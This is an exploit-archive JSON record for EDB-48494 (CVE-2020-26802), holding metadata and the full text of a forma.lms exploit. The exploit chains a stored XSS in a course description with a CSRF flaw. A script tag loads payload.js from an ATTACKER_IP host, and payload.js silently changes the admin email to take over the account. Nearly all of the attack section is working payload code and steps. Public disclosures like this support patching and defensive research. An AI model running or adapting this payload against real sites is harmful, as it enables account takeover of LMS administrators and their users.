{"exploit":{"id":"EDB-48494","name":"Forma LMS 5.6.40 - 'description' Stored Cross-Site Scripting (XSS) / Change Admin Email Cross-Site Request Forgery (CSRF)","description":"Forma LMS 5.6.40 - 'description' Stored Cross-Site Scripting (XSS) / Change Admin Email Cross-Site Request Forgery (CSRF)","cves":["CVE-2020-26802"],"author":"Daniel Ortiz","published":"2020-05-21","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48494","path":"exploits/php/webapps/48494.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48494.txt","vulnerabilities":[{"id":"CVE-2020-26802","state":"PUBLISHED","title":null,"titleSource":null,"description":"forma.lms 2.3.0.2 is affected by Cross Site Request Forgery (CSRF) in formalms/appCore/index.php?r=lms/profile/show&ap=saveinfo via a GET request to change the admin email address in order to accomplish an account takeover.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-26802","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-26802"},"updatedAt":"2024-08-04T16:03:22.454Z","retrievedAt":"2026-11-27T13:07:23.111Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48494.png?v=2","url":"https://exploitbin.com/exploits/EDB-48494","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48494/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48494/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: forma.lms 5.6.40 - Cross-Site Request Forgery (Change Admin Email)\n# Date: 2020-05-21\n# Exploit Author: Daniel Ortiz\n# Vendor Homepage: https://sourceforge.net/projects/forma/\n# Tested on:  XAMPP for Linux 64bit 5.6.40-0\n\n\n## 1 - Description\n\n- Vulnerable form: Edit Profile\n- Details: The validation of the CSRF token depends on request method. Changing the request method from POST to GET the token validation is omitted by the backend.\n- Privileges: It requires admin privileges to change the admin email.\n- Location: Admin Area >user profile > Edit form\n- Endopoint: /formalms/appCore/index.php?r=lms/profile/show&ap=saveinfo\n\n\n## 2 -Triggering the Vulnerability\n\nTo trigger this vulnerability the admin user must log in to the system.\n\n1) Setup a HTTP server on the attacker machine, e.g: python -m SimpleHTTPServer 9090\n2) In the attacker machine create a file with this content:\n\n[+] payload.js\n\nvar target = document.location.host;\nvar params = \"r=lms/profile/show&ap=saveinfo&authentic_request=&up_lastname=&up_firstname=&up_email=hacked@admin.com&user_preference[ui.language]=0&up_signature=&save=Save+changes\";\n\nfunction pwnEmail(){\n\n    var xhr = new XMLHttpRequest();\n    xhr.open(\"GET\", \"http://\" + target + \"/formalms/appLms/index.php?\"+params, true);\n    xhr.send(null);\n\n}\n\npwnEmail();\n\n3) Edit a course and in the description field put this payload:\n\n<script src=\"http://ATTACKER_IP:PORT/payload.js\"/>\n\nThe description field is vulnerable to XSS attacks and is used to trigger the csrf payload.\n\n4) Go to index page in formalms/appLms/index.php?r=lms/mycourses/show this trigger the XSS payload in the description field (the payload loads the payload.js file and execute the CSRF payload)\n\n5) The payload.js file is executed and the admin email is changed","sha256":"3bf8ea47f91dc9f92161747b177b3e42abc951e801bbd1a1bcf4ac0eb8d72fe9","bytes":1790,"fetchedAt":"2026-11-27T13:07:20.832Z","encoding":"utf-8 (display only; download retains original bytes)"}